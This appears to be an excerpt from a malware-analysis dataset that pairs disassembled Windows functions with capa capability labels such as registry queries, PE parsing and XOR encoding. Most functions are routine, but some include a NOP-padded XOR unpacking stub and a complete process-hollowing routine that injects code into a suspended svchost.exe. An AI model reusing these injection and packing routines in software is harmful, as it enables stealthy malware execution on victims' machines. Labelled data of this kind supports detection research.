joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402dbd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 0xc], ebx
xor esi, esi
test byte [ebp + 0x14], 1
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 4
je 0x402dfa
mov edx, dword [ebp + 0x18]
call fcn.0040298e
mov ebx, eax
test ebx, ebx
jne 0x403931
mov ebx, dword [ebp - 0xc]
test byte [ebp + 0x14], 0xe
je 0x402ec7
mov ecx, ebx
call fcn.00402da2
test eax, eax
je 0x402ec7
test byte [ebp + 0x14], 2
je 0x402e56
mov eax, dword [0x414070]
mov dword [ebp - 0xc], esi
mov dword [ebp + 0x18], eax
cmp eax, 0xffffffff
jne 0x403987
lea eax, [ebp + 0x18]
push eax
push 0x20019
push esi
push 0x402798
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0xc], 1
test eax, eax
je 0x403984
test byte [ebp + 0x14], 4
je 0x402ec7
mov eax, dword [0x414074]
xor esi, esi
mov dword [ebp + 0x14], esi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x402e96
lea eax, [ebp - 8]
push eax
push 0x20019
push esi
push 0x402798
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp + 0x14], 1
test eax, eax
jne 0x402ec7
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 4]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp + 0x14], 0
cdq
mov esi, eax
mov ebx, edx
je 0x402ebf
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or esi, ebx
je 0x4039d5
mov eax, dword [ebp + 8]
mov dword [edi], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 4], eax
mov eax, 0x80004005
pop edi
pop esi
pop ebx
leave
ret 0x14
mov esi, dword [sym.imp.MSVCR110_CLR0400.dll__errno]
call esi
and dword [eax], 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.MSVCR110_CLR0400.dll_wcstoul]
add esp, 0xc
mov dword [ebp - 0x18], eax
call esi
cmp dword [eax], 0x22
je 0x403960
cmp dword [ebp - 0x14], ebx
je 0x403960
xor esi, esi
inc esi
jmp 0x403962
xor esi, esi
mov ecx, ebx
call fcn.004010b8
test esi, esi
je 0x40397d
mov eax, dword [ebp - 0x18]
and dword [edi + 4], 0
mov dword [edi], eax
xor eax, eax
jmp 0x402ed7
xor esi, esi
jmp 0x402df7
mov eax, dword [ebp + 0x18]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 4]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0xc], 0
cdq
mov esi, eax
mov eax, edx
mov dword [ebp - 0x18], eax
je 0x4039b6
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
or esi, eax
jne 0x402e56
cmp dword [ebp - 4], 4
jne 0x402e56
mov eax, dword [ebp - 0x20]
mov dword [edi], eax
mov eax, dword [ebp - 0x1c]
mov dword [edi + 4], eax
jmp 0x403976
cmp dword [ebp - 4], 4
jne 0x402ec7
jmp 0x4039c8
Function at 0x404370
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040303b
mov eax, dword [0x41400c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x2004]
push 0xffffffffffffffff
push 0x1000
push eax
call dword [sym.imp.MSVCR110_CLR0400.dll__vsnwprintf_s]
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
lea eax, [ebp - 0x2004]
push eax
je 0x4043be
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x4043e6
push 0x4043f4
call dword [sym.imp.MSVCR110_CLR0400.dll___iob_func]
add eax, 0x20
push eax
call dword [sym.imp.MSVCR110_CLR0400.dll_fwprintf]
call dword [sym.imp.MSVCR110_CLR0400.dll___iob_func]
add eax, 0x20
push eax
call dword [sym.imp.MSVCR110_CLR0400.dll_fflush]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004010aa
leave
ret

Function at 0x40585e
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4100f3
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x41400c]
xor eax, esp
mov dword [esp + 0x214], eax
mov eax, dword [0x41400c]
xor eax, esp
push eax
lea eax, [esp + 0x220]
mov dword fs:[0], eax
cmp byte [0x414a14], 0
jne 0x4058bc
mov ecx, 0x405960
call fcn.00402ede
mov dword [0x414a10], eax
mov byte [0x414a14], 1
jmp 0x4058c1
mov eax, dword [0x414a10]
test eax, eax
je 0x40593e
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
lea eax, [esp + 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x200
mov dword [esp + 0x228], ecx
push 2
pop edx
mov dword [esp + 4], edx
mov eax, dword [esp + 0x10]
mov word [eax], cx
mov dword [esp + 0x228], edx
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea ecx, [esp + 0xc]
call fcn.0040c47d
lea ecx, [esp + 4]
call fcn.0040bb9a
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
or dword [esp + 0x228], 0xffffffff
test byte [esp + 0xc], 8
je 0x40593e
mov ecx, dword [esp + 0x10]
call fcn.004010b8
mov ecx, dword [esp + 0x220]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.004010aa
mov esp, ebp
pop ebp
ret
Function at 0x4069e8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x21c
mov eax, 0x4104ef
call fcn.00402b60
xor ebx, ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x220], 0x200
mov dword [ebp - 4], ebx
push 2
pop edx
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0x218]
xor ecx, ecx
mov word [eax], cx
mov dword [ebp - 4], edx
lea ecx, [ebp - 0x224]
call fcn.00404d0c
push 0x406ac4
lea ecx, [ebp - 0x224]
call fcn.0040481c
lea ecx, [ebp - 0x224]
call fcn.0040bb9a
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406aa4
push ecx
lea eax, [ebp - 0x228]
push eax
push 0x406ae0
mov edx, 0x406af0
mov dword [ebp - 0x228], ebx
call fcn.0040d6c0
test eax, eax
je 0x406aa2
cmp dword [ebp - 0x228], 1
je 0x406aa4
mov bl, 1
or dword [ebp - 4], 0xffffffff
test byte [ebp - 0x21c], 8
je 0x406abc
mov ecx, dword [ebp - 0x218]
call fcn.004010b8
mov al, bl
call fcn.00402c20
ret
Function at 0x40cb2f
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x1505
jmp 0x40cb50
lea eax, [ecx - 0x61]
cmp eax, 0x19
ja 0x40cb48
and ecx, 0xffffffdf
imul edx, edx, 0x21
xor edx, ecx
add esi, 2
movzx ecx, word [esi]
test ecx, ecx
jne 0x40cb3d
mov eax, dword [ebp + 0x10]
movzx ecx, dl
mov edx, ecx
shr edx, 5
mov dword [eax], edx
mov eax, dword [ebp + 0x14]
xor edx, edx
and ecx, 0x1f
inc edx
shl edx, cl
pop esi
mov dword [eax], edx
pop ebp
ret 0x10
Function at 0x4cb9d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4cba16
call fcn.004d174d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x4cba16
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x4cba0d
xor eax, eax
jmp 0x4cba1e
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004cba24
pop edi
pop esi
pop ebx
ret 4

Function at 0x4d1c7d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4d1cab
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x4d1cc9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004d1be3
jmp 0x4d1cc9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4d1cc9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004d1be3
test edi, edi
mov eax, edi
jne 0x4d1cb3
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4d4021b4
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..rsrc
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7d1c3ed5
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x6b441840
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push edi
pxor xmm0, xmm0
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x328]
lea edx, [ebp - 0x338]
push ebx
sub esp, 0x35c
movups xmmword [ebp - 0x324], xmm0
mov dword [ebp - 0x328], 0x44
movups xmmword [ebp - 0x314], xmm0
movups xmmword [ebp - 0x304], xmm0
movups xmmword [ebp - 0x2f4], xmm0
movups xmmword [ebp - 0x338], xmm0
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x6b47e40e
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x800000c
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.C:WindowsSysWOW64_svchost.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
jne 0x6b4418f8
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x3a8bd
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x338]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
sub esp, 0x14
mov eax, dword [ebp - 0x338]
test ebx, ebx
je 0x6b4419f0
mov dword [esp + 4], ebx
lea esi, [ebp - 0x2e4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x3a8bd
mov dword [esp + 8], 0x6b443020
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov dword [ebp - 0x2e4], 0x10001
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x334]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
sub esp, 8
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x2e4], 0x10001
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x334]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x334]
sub esp, 8
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x334]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], eax
call ebx
mov eax, dword [ebp - 0x338]
sub esp, 4
mov dword [esp], eax
call ebx
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
mov dword [esp + 4], 1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
sub esp, 8
jmp 0x6b4418e8
Function at 0x6b441e50
Capabilities:
Enumerate processes

Disassembly:
push edi
push esi
push ebx
sub esp, 0x140
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
cmp eax, 0xffffffff
je 0x6b441f0c
lea edi, [esp + 0x18]
mov dword [esp], eax
mov ebx, eax
mov dword [esp + 4], edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
je 0x6b441f00
lea esi, [esp + 0x3c]
jmp 0x6b441ec7
mov dword [esp + 4], str.potato.exe
mov dword [esp], esi
call sub.msvcrt.dll__stricmp
test eax, eax
je 0x6b441edb
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x6b441f00
mov dword [esp + 4], str.telegram.exe
mov dword [esp], esi
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x6b441ea0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
sub esp, 4
add esp, 0x140
pop ebx
pop esi
pop edi
ret
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
add esp, 0x140
xor eax, eax
pop ebx
pop esi
pop edi
ret

Function at 0x6b442698
Capabilities:
Parse pe header

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
jne 0x6b4426bd
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x6b4426bd
xor edx, edx
cmp word [eax + 0x18], 0x10b
sete dl
mov eax, edx
pop ebp
ret

Function at 0x6b4426c1
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
xor ebx, ebx
add edx, dword [edx + 0x3c]
movzx eax, word [edx + 0x14]
movzx esi, word [edx + 6]
lea eax, [edx + eax + 0x18]
cmp ebx, esi
jae 0x6b4426f5
mov edx, dword [eax + 0xc]
cmp ecx, edx
jb 0x6b4426ef
add edx, dword [eax + 8]
cmp ecx, edx
jb 0x6b4426f7
inc ebx
add eax, 0x28
jmp 0x6b4426dd
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0xcc1370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xcc138e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xcea074
push ecx
mov edi, eax
call fcn.00cd5198
mov esi, eax
add esp, 8
test esi, esi
jne 0xcc13cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00cd502e
push esi
call fcn.00cd4fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xcc4850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xcc48ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xcef720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xcc48ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00cd51e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xcc48ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xcef720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xcc492a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00cd6082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xcc4957
mov word [eax], si
add eax, 2
push eax
call fcn.00cd6030
add esp, 4
jmp 0xcc4959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xcc48ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xcc48b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xcc4ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xcc5080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xcc50c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xcea458
push ecx
call fcn.00cd51e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00cd51e1
add esp, 0x10
jmp 0xcc50d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00cd520b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00cd4dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00cc5050
mov eax, dword [0xcef728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xcc513b
push esi
call fcn.00cc4fb0
add esp, 4
mov dword [0xcef728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xcc514c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00cc4ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xcc8440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xcc84b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xcc848e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xcc8471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xcc847e
add edx, ecx
cmp ebx, edx
jb 0xcc848a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xcc8467
xor ecx, ecx
jmp 0xcc84a2
test eax, eax
jne 0xcc8492
xor ecx, ecx
jmp 0xcc84a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00cc83c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xcc88f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xcc8921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xcc8946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xcc896e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xcc8993
push ecx
push esi
call fcn.00cc84c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0xcc9c00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0xcc9c4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0xcc9c2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0xcc9c38
add edx, eax
cmp ebx, edx
jb 0xcc9c46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0xcc9c21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0xcc9c50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0xcc9c70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xcc9cb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xcc9c9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xcc9ca8
add edx, ecx
cmp ebx, edx
jb 0xcc9cb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0xcc9c91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0xcc9f60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00cd6145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xcc9ffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0xcc9fdd
lea eax, [esp + 0x18]
push eax
jmp 0xcc9fe2
push 0xcef720
call fcn.00cd5fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xcc9fb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xcc9f40
push 4
push ecx
push eax
call fcn.00cd643f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0xcca310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00cd6145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xcca3ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0xcca38d
lea eax, [esp + 0x18]
push eax
jmp 0xcca392
push 0xcef720
call fcn.00cd5fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xcca360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xcc9f40
push 4
push ecx
push eax
call fcn.00cd643f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret